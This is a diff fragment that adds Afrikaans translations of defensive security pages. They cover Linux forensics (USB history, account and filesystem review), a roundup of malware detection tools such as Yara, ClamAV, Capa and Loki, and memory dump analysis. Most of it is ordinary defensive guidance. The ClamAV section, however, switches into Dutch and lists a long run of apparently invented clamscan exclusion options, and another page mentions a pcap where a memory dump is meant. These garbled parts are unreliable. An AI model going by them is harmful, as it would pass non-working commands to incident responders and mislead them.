||||
|
||||
[**usbrip**](https://github.com/snovvcrash/usbrip) is 'n klein stukkie sagteware geskryf in suiwer Python 3 wat Linux-log lêers (`/var/log/syslog*` of `/var/log/messages*` afhangende van die distribusie) ontled om USB-gebeurtenisgeskiedenis tabele op te stel.
|
||||
|
||||
Dit is interessant om **alle USB's wat gebruik is te ken** en dit sal meer nuttig wees as jy 'n gemagtigde lys van USB's het om "oortredingsgebeure" te vind (die gebruik van USB's wat nie binne daardie lys is nie).
|
||||
|
||||
### Installasie
|
||||
```bash
|
||||
pip3 install usbrip
|
||||
usbrip ids download #Download USB ID database
|
||||
```
|
||||
### Voorbeelde
|
||||
```bash
|
||||
usbrip events history #Get USB history of your curent linux machine
|
||||
usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user
|
||||
#Search for vid and/or pid
|
||||
usbrip ids download #Downlaod database
|
||||
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
|
||||
```
|
||||
Meer voorbeelde en inligting binne die github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomaties** aangedryf deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
|
||||
Kry Vandaag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Oorsig van Gebruikersrekeninge en Aanmeldaktiwiteite
|
||||
|
||||
Ondersoek die _**/etc/passwd**_, _**/etc/shadow**_ en **sekuriteitslogs** vir ongewone name of rekeninge wat geskep is en/of gebruik is in nabyheid van bekende ongemagtigde gebeure. Kyk ook vir moontlike sudo-bruteforce-aanvalle.\
|
||||
Verder, kyk na lêers soos _**/etc/sudoers**_ en _**/etc/groups**_ vir onverwagte voorregte wat aan gebruikers gegee is.\
|
||||
Laastens, soek na rekeninge met **geen wagwoorde** of **maklik gerade** wagwoorde.
|
||||
|
||||
## Ondersoek Lêersisteem
|
||||
|
||||
### Analise van Lêersisteemstrukture in Malware-ondersoek
|
||||
|
||||
Wanneer malware-voorvalle ondersoek word, is die struktuur van die lêersisteem 'n belangrike bron van inligting, wat beide die volgorde van gebeure en die inhoud van die malware onthul. Tog ontwikkel malware-skrywers tegnieke om hierdie analise te bemoeilik, soos die wysiging van lêer-timestamps of die vermyding van die lêersisteem vir data-opberging.
|
||||
|
||||
Om hierdie teen-forensiese metodes te teenwerk, is dit noodsaaklik om:
|
||||
|
||||
* **Voer 'n deeglike tydlyn-analise uit** met behulp van gereedskap soos **Autopsy** om gebeurtenis-tydlyne te visualiseer of **Sleuth Kit's** `mactime` vir gedetailleerde tydlyn-data.
|
||||
* **Ondersoek onverwagte skripte** in die stelsel se $PATH, wat dalk skul of PHP-skripte insluit wat deur aanvallers gebruik word.
|
||||
* **Ondersoek `/dev` vir atipiese lêers**, aangesien dit tradisioneel spesiale lêers bevat, maar moontlik malware-verwante lêers kan bevat.
|
||||
* **Soek na verskuilde lêers of gidsname** met name soos ".. " (dot dot spatie) of "..^G" (dot dot control-G), wat kwaadwillige inhoud kan verberg.
|
||||
* **Identifiseer setuid-root-lêers** met die opdrag: `find / -user root -perm -04000 -print` Dit vind lêers met verhoogde regte wat deur aanvallers misbruik kan word.
|
||||
* **Ondersoek verwyderingstimestamps** in inode-tabelle om massiewe lêerverwyderings op te spoor, moontlik duiend op die teenwoordigheid van rootkits of trojane.
|
||||
* **Inspekteer aaneenlopende inodes** vir nabygeleë kwaadwillige lêers nadat een geïdentifiseer is, aangesien hulle saam geplaas kon wees.
|
||||
* **Kontroleer algemene binêre gids** (_/bin_, _/sbin_) vir onlangs gewysigde lêers, aangesien hierdie deur malware verander kan word.
|
||||
````bash
|
||||
# List recent files in a directory:
|
||||
ls -laR --sort=time /bin```
|
||||
|
||||
# Sort files in a directory by inode:
|
||||
ls -lai /bin | sort -n```
|
||||
````
|
||||
{% hint style="info" %}
|
||||
Let wel dat 'n **aanvaller** die **tyd kan wysig** om **lêers te laat voorkom** asof hulle **wettig** is, maar hy **kan nie** die **inode** wysig nie. As jy vind dat 'n **lêer** aandui dat dit geskep en gewysig is op dieselfde tyd as die res van die lêers in dieselfde vouer, maar die **inode** is **onverwags groter**, dan is die **tydstempels van daardie lêer gewysig**.
|
||||
{% endhint %}
|
||||
|
||||
## Vergelyk lêers van verskillende lêersisteemweergawes
|
||||
|
||||
### Opsomming van Vergelyking van Lêersisteemweergawes
|
||||
|
||||
Om lêersisteemweergawes te vergelyk en veranderinge te identifiseer, gebruik ons vereenvoudigde `git diff` opdragte:
|
||||
|
||||
* **Om nuwe lêers te vind**, vergelyk twee gide:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
|
||||
```
|
||||
* **Vir gewysigde inhoud**, lys veranderinge terwyl spesifieke lyne geïgnoreer word:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
|
||||
```
|
||||
* **Om uitgewisde lêers op te spoor**:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
||||
```
|
||||
* **Filter opsies** (`--diff-filter`) help om te spesifiseer soos bygevoeg (`A`), verwyder (`D`), of gewysig (`M`) lêers.
|
||||
* `A`: Bygevoegde lêers
|
||||
* `C`: Gekopieerde lêers
|
||||
* `D`: Verwyderde lêers
|
||||
* `M`: Gewysigde lêers
|
||||
* `R`: Hernoemde lêers
|
||||
* `T`: Tipe veranderinge (bv., lêer na simbooliese skakel)
|
||||
* `U`: Ongesmerge lêers
|
||||
* `X`: Onbekende lêers
|
||||
* `B`: Gebreekte lêers
|
||||
|
||||
## Verwysings
|
||||
|
||||
* [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf)
|
||||
* [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
|
||||
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
|
||||
* **Boek: Malware Forensics Field Guide vir Linux-stelsels: Digitale Forensics Field Guides**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Werk jy in 'n **cybersekerheidsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
||||
**Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-opslag**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-opslag**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
|
||||
Kry Vandag Toegang:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
@ -0,0 +1,308 @@
|
|||
# Malware Analise
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Forensiese Spiekbriefies
|
||||
|
||||
[https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/)
|
||||
|
||||
## Aanlyn Dienste
|
||||
|
||||
* [VirusTotal](https://www.virustotal.com/gui/home/upload)
|
||||
* [HybridAnalysis](https://www.hybrid-analysis.com)
|
||||
* [Koodous](https://koodous.com)
|
||||
* [Intezer](https://analyze.intezer.com)
|
||||
* [Any.Run](https://any.run/)
|
||||
|
||||
## Aflyn Antivirus en Opvangs Gereedskap
|
||||
|
||||
### Yara
|
||||
|
||||
#### Installeer
|
||||
```bash
|
||||
sudo apt-get install -y yara
|
||||
```
|
||||
#### Maak reëls gereed
|
||||
|
||||
Gebruik hierdie skrip om al die yara malware reëls vanaf GitHub af te laai en saam te voeg: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
|
||||
Skep die _**reëls**_ gids en voer dit uit. Dit sal 'n lêer genaamd _**malware\_rules.yar**_ skep wat al die yara reëls vir malware bevat.
|
||||
```bash
|
||||
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
|
||||
mkdir rules
|
||||
python malware_yara_rules.py
|
||||
```
|
||||
#### Skandering
|
||||
|
||||
Om te begin met die analise van malware, is dit belangrik om 'n skandering uit te voer op die verdagte lêer. Hierdie skandering sal help om enige bekende malware te identifiseer en om te bepaal of die lêer 'n potensiële bedreiging is.
|
||||
|
||||
Daar is verskeie skanderingstegnieke wat gebruik kan word, soos die gebruik van 'n antivirusprogram, 'n sandboks, of 'n statiese analisehulpmiddel. Dit is belangrik om 'n betroubare en up-to-date skanderingstegniek te gebruik om die beste resultate te verseker.
|
||||
|
||||
Die skandering moet uitgevoer word op 'n geïsoleerde stelsel of in 'n virtuele omgewing om te voorkom dat die malware versprei of skade aanrig. Dit is ook belangrik om die skandering uit te voer met behulp van 'n gebruiker met beperkte regte om te voorkom dat die malware bevoorregte toegang verkry.
|
||||
|
||||
As die skandering 'n bekende malware identifiseer, moet die nodige stappe geneem word om die malware te verwyder en die impak daarvan te beperk. As die skandering egter nie enige bekende malware identifiseer nie, moet verdere analise uitgevoer word om die aard en funksionaliteit van die lêer te bepaal.
|
||||
```bash
|
||||
yara -w malware_rules.yar image #Scan 1 file
|
||||
yara -w malware_rules.yar folder #Scan the whole folder
|
||||
```
|
||||
#### YaraGen: Kontroleer vir malware en Skep reëls
|
||||
|
||||
Jy kan die instrument [**YaraGen**](https://github.com/Neo23x0/yarGen) gebruik om yara-reëls te genereer vanaf 'n binêre lêer. Kyk na hierdie tutoriale: [**Deel 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Deel 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Deel 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/)
|
||||
```bash
|
||||
python3 yarGen.py --update
|
||||
python3.exe yarGen.py --excludegood -m ../../mals/
|
||||
```
|
||||
### ClamAV
|
||||
|
||||
#### Installeer
|
||||
|
||||
```bash
|
||||
sudo apt-get install clamav
|
||||
```
|
||||
|
||||
#### Bijwerken van de virusdefinities
|
||||
|
||||
```bash
|
||||
sudo freshclam
|
||||
```
|
||||
|
||||
#### Scannen van een bestand
|
||||
|
||||
```bash
|
||||
clamscan <bestandsnaam>
|
||||
```
|
||||
|
||||
#### Scannen van een map
|
||||
|
||||
```bash
|
||||
clamscan -r <mapnaam>
|
||||
```
|
||||
|
||||
#### Scannen van het hele systeem
|
||||
|
||||
```bash
|
||||
clamscan -r /
|
||||
```
|
||||
|
||||
#### Rapport genereren van de scanresultaten
|
||||
|
||||
```bash
|
||||
clamscan -r --log=<rapportnaam>.log /
|
||||
```
|
||||
|
||||
#### Quarantaine van geïnfecteerde bestanden
|
||||
|
||||
```bash
|
||||
clamscan -r --move=<quarantainemap> /
|
||||
```
|
||||
|
||||
#### Verwijderen van geïnfecteerde bestanden
|
||||
|
||||
```bash
|
||||
clamscan -r --remove /
|
||||
```
|
||||
|
||||
#### Uitsluiten van bestanden of mappen van de scan
|
||||
|
||||
```bash
|
||||
clamscan -r --exclude=<bestand/mappad> /
|
||||
```
|
||||
|
||||
#### Uitsluiten van specifieke bestandsextensies van de scan
|
||||
|
||||
```bash
|
||||
clamscan -r --exclude=".extensie" /
|
||||
```
|
||||
|
||||
#### Uitsluiten van specifieke bestandstypen van de scan
|
||||
|
||||
```bash
|
||||
clamscan -r --exclude="type/bestand" /
|
||||
```
|
||||
|
||||
#### Uitsluiten van specifieke bestandsgroottes van de scan
|
||||
|
||||
```bash
|
||||
clamscan -r --exclude=">grootte" /
|
||||
```
|
||||
|
||||
#### Uitsluiten van specifieke bestandskenmerken van de scan
|
||||
|
||||
```bash
|
||||
clamscan -r --exclude="kenmerk" /
|
||||
```
|
||||
|
||||
#### Uitsluiten van specifieke bestandskenmerken van de scan met behulp van reguliere expressies
|
||||
|
||||
```bash
|
||||
clamscan -r --exclude="regex:patroon" /
|
||||
```
|
||||
|
||||
#### Uitsluiten van specifieke bestanden of mappen van de scan met behulp van een lijst
|
||||
|
||||
```bash
|
||||
clamscan -r --exclude-from=<lijstbestand> /
|
||||
```
|
||||
|
||||
#### Uitsluiten van specifieke bestandsextensies van de scan met behulp van een lijst
|
||||
|
||||
```bash
|
||||
clamscan -r --exclude=".extensie" --exclude-from=<lijstbestand> /
|
||||
```
|
||||
|
||||
#### Uitsluiten van specifieke bestandstypen van de scan met behulp van een lijst
|
||||
|
||||
```bash
|
||||
clamscan -r --exclude="type/bestand" --exclude-from=<lijstbestand> /
|
||||
```
|
||||
|
||||
#### Uitsluiten van specifieke bestandskenmerken van de scan met behulp van een lijst
|
||||
|
||||
```bash
|
||||
clamscan -r --exclude="kenmerk" --exclude-from=<lijstbestand> /
|
||||
```
|
||||
|
||||
#### Uitsluiten van specifieke bestandskenmerken van de scan met behulp van reguliere expressies in een lijst
|
||||
|
||||
```bash
|
||||
clamscan -r --exclude="regex:patroon" --exclude-from=<lijstbestand> /
|
||||
```
|
||||
```
|
||||
sudo apt-get install -y clamav
|
||||
```
|
||||
#### Skandering
|
||||
|
||||
Om 'n malware-analise te begin, is dit belangrik om die betrokke stelsel te skandeer vir enige moontlike malware. Hier is 'n paar skanderingstegnieke wat gebruik kan word:
|
||||
|
||||
- **Antivirus-skandering**: Voer 'n volledige skandering uit met 'n betroubare antivirusprogram om enige bekende malware te identifiseer.
|
||||
- **Rootkit-skandering**: Gebruik 'n spesialiteitstool om te soek na enige versteekte rootkits wat moontlik op die stelsel geïnstalleer kan wees.
|
||||
- **Netwerkverkeersanalise**: Monitor die netwerkverkeer om enige verdagte aktiwiteit of ongewone patrone te identifiseer.
|
||||
- **Bestandshashing**: Skep 'n hashtabel van alle lêers op die stelsel en vergelyk dit met 'n databasis van bekende skadelike lêers.
|
||||
- **Geheue-analise**: Analiseer die stelsel se geheue vir enige verdagte prosesse of aktiwiteit.
|
||||
|
||||
Dit is belangrik om 'n kombinasie van hierdie skanderingstegnieke te gebruik om 'n volledige prentjie van die stelsel se veiligheid te verkry.
|
||||
```bash
|
||||
sudo freshclam #Update rules
|
||||
clamscan filepath #Scan 1 file
|
||||
clamscan folderpath #Scan the whole folder
|
||||
```
|
||||
### [Capa](https://github.com/mandiant/capa)
|
||||
|
||||
**Capa** ontdek potensieel skadelike **vermoëns** in uitvoerbare lêers: PE, ELF, .NET. Dit sal dinge soos Att\&ck-taktieke of verdagte vermoëns soos die volgende vind:
|
||||
|
||||
* kontroleer vir OutputDebugString-fout
|
||||
* hardloop as 'n diens
|
||||
* skep proses
|
||||
|
||||
Kry dit in die [**Github-opberging**](https://github.com/mandiant/capa).
|
||||
|
||||
### IOCs
|
||||
|
||||
IOC beteken Indicator Of Compromise. 'n IOC is 'n stel **voorwaardes wat** enige potensieel ongewenste sagteware of bevestigde **malware identifiseer**. Blou-spanne gebruik hierdie tipe definisie om hierdie soort skadelike lêers in hul stelsels en netwerke te **soek**.\
|
||||
Dit is baie nuttig om hierdie definisies te deel, want as malware in 'n rekenaar geïdentifiseer word en 'n IOC vir daardie malware geskep word, kan ander Blou-spanne dit gebruik om die malware vinniger te identifiseer.
|
||||
|
||||
'n Hulpmiddel om IOCs te skep of te wysig is [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\
|
||||
Jy kan gereedskap soos [**Redline**](https://www.fireeye.com/services/freeware/redline.html) gebruik om gedefinieerde IOCs in 'n toestel te **soek**.
|
||||
|
||||
### Loki
|
||||
|
||||
[**Loki**](https://github.com/Neo23x0/Loki) is 'n skandeerder vir Eenvoudige Indicators of Compromise.\
|
||||
Deteksie is gebaseer op vier deteksie-metodes:
|
||||
```
|
||||
1. File Name IOC
|
||||
Regex match on full file path/name
|
||||
|
||||
2. Yara Rule Check
|
||||
Yara signature matches on file data and process memory
|
||||
|
||||
3. Hash Check
|
||||
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
|
||||
|
||||
4. C2 Back Connect Check
|
||||
Compares process connection endpoints with C2 IOCs (new since version v.10)
|
||||
```
|
||||
### Linux Malware Detect
|
||||
|
||||
[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) is 'n kwaadwillige skanderingstool vir Linux wat vrygestel is onder die GNU GPLv2-lisensie en ontwerp is vir die bedreigings wat in gedeelde gehoste omgewings voorkom. Dit maak gebruik van bedreigingsdata van netwerkrandindringingsdeteksiesisteme om aktief gebruikte kwaadware in aanvalle te onttrek en handtekeninge vir opsporing te genereer. Daarbenewens word bedreigingsdata ook afgelei van gebruikersinskrywings met die LMD-uitklooi-funksie en kwaadware-gemeenskapsbronne.
|
||||
|
||||
### rkhunter
|
||||
|
||||
Hulpmiddels soos [**rkhunter**](http://rkhunter.sourceforge.net) kan gebruik word om die lêersisteem vir moontlike **rootkits** en kwaadware te ondersoek.
|
||||
```bash
|
||||
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
|
||||
```
|
||||
### FLOSS
|
||||
|
||||
[**FLOSS**](https://github.com/mandiant/flare-floss) is 'n instrument wat sal probeer om versluierde strings binne uitvoerbare lêers te vind deur gebruik te maak van verskillende tegnieke.
|
||||
|
||||
### PEpper
|
||||
|
||||
[PEpper](https://github.com/Th3Hurrican3/PEpper) kontroleer sekere basiese dinge binne die uitvoerbare lêer (binêre data, entropie, URL's en IP-adresse, sekere yara-reëls).
|
||||
|
||||
### PEstudio
|
||||
|
||||
[PEstudio](https://www.winitor.com/download) is 'n instrument wat inligting oor Windows-uitvoerbare lêers kan verkry, soos invoer, uitvoer, koppe, maar dit sal ook virus totaal kontroleer en potensiële Att\&ck-tegnieke vind.
|
||||
|
||||
### Detect It Easy(DiE)
|
||||
|
||||
[**DiE**](https://github.com/horsicq/Detect-It-Easy/) is 'n instrument om te bepaal of 'n lêer **versleutel** is en ook om **pakkers** te vind.
|
||||
|
||||
### NeoPI
|
||||
|
||||
[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI) is 'n Python-skripsie wat verskeie **statistiese metodes** gebruik om **versluierde** en **versleutelde** inhoud binne teks-/skripslêers op te spoor. Die beoogde doel van NeoPI is om te help met die opsporing van verborge webshell-kode.
|
||||
|
||||
### **php-malware-finder**
|
||||
|
||||
[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) doen sy uiterste bes om **versluierde**/**dodgy kode** asook lêers wat PHP-funksies gebruik wat dikwels in **malware**/webshells gebruik word, op te spoor.
|
||||
|
||||
### Apple Binêre Handtekeninge
|
||||
|
||||
Wanneer jy 'n **malware monster** ondersoek, moet jy altyd die handtekening van die binêre lêer **ondersoek**, aangesien die **ontwikkelaar** wat dit onderteken het, moontlik al verband hou met **malware**.
|
||||
```bash
|
||||
#Get signer
|
||||
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
||||
|
||||
#Check if the app’s contents have been modified
|
||||
codesign --verify --verbose /Applications/Safari.app
|
||||
|
||||
#Check if the signature is valid
|
||||
spctl --assess --verbose /Applications/Safari.app
|
||||
```
|
||||
## Opsoektegnieke
|
||||
|
||||
### Lêerstapel
|
||||
|
||||
As jy weet dat 'n sekere **gids wat die lêers van 'n webbediener bevat, laas op 'n sekere datum opgedateer is**, **kontroleer** die **datum** waarop al die **lêers** in die webbediener geskep en gewysig is, en as enige datum **verdag voorkom**, kontroleer daardie lêer.
|
||||
|
||||
### Basiese lyn
|
||||
|
||||
As die lêers van 'n gids **nie gewysig behoort te wees nie**, kan jy die **hak** van die **oorspronklike lêers** van die gids bereken en dit **vergelyk** met die **huidige** lêers. Enige iets wat gewysig is, sal **verdag voorkom**.
|
||||
|
||||
### Statistiese analise
|
||||
|
||||
Wanneer die inligting in loglêers gestoor word, kan jy **statistieke soos hoeveel keer elke lêer van 'n webbediener as 'n webshell benader is**, nagaan.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks in PDF aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,72 @@
|
|||
# Geheue dump-analise
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheidsevenement in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en kuberveiligheidspesialiste in elke dissipline.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## Begin
|
||||
|
||||
Begin met **soek na malware** binne die pcap. Gebruik die **gereedskap** wat genoem word in [**Malware-analise**](../malware-analysis.md).
|
||||
|
||||
## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)
|
||||
|
||||
**Volatility is die belangrikste oopbron-raamwerk vir geheue dump-analise**. Hierdie Python-gereedskap analiseer damps van eksterne bronne of VMware-VM's en identifiseer data soos prosesse en wagwoorde gebaseer op die dump se bedryfstelselprofiel. Dit is uitbreidbaar met plugins, wat dit baie veelsydig maak vir forensiese ondersoeke.
|
||||
|
||||
**[Vind hier 'n spiekbrief](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)**
|
||||
|
||||
|
||||
## Mini dump-ongelukverslag
|
||||
|
||||
Wanneer die dump klein is (net 'n paar KB, dalk 'n paar MB), is dit waarskynlik 'n mini dump-ongelukverslag en nie 'n geheue-dump nie.
|
||||
|
||||
![](<../../../.gitbook/assets/image (216).png>)
|
||||
|
||||
As jy Visual Studio geïnstalleer het, kan jy hierdie lêer oopmaak en 'n paar basiese inligting soos prosesnaam, argitektuur, uitsonderingsinligting en uitgevoerde modules bind:
|
||||
|
||||
![](<../../../.gitbook/assets/image (217).png>)
|
||||
|
||||
Jy kan ook die uitsondering laai en die gedekompileerde instruksies sien
|
||||
|
||||
![](<../../../.gitbook/assets/image (219).png>)
|
||||
|
||||
![](<../../../.gitbook/assets/image (218) (1).png>)
|
||||
|
||||
In elk geval is Visual Studio nie die beste gereedskap om 'n diepte-analise van die dump uit te voer nie.
|
||||
|
||||
Jy moet dit **oopmaak** met behulp van **IDA** of **Radare** om dit in **diepte** te ondersoek.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) is die mees relevante kuberveiligheidsevenement in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en kuberveiligheidspesialiste in elke dissipline.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
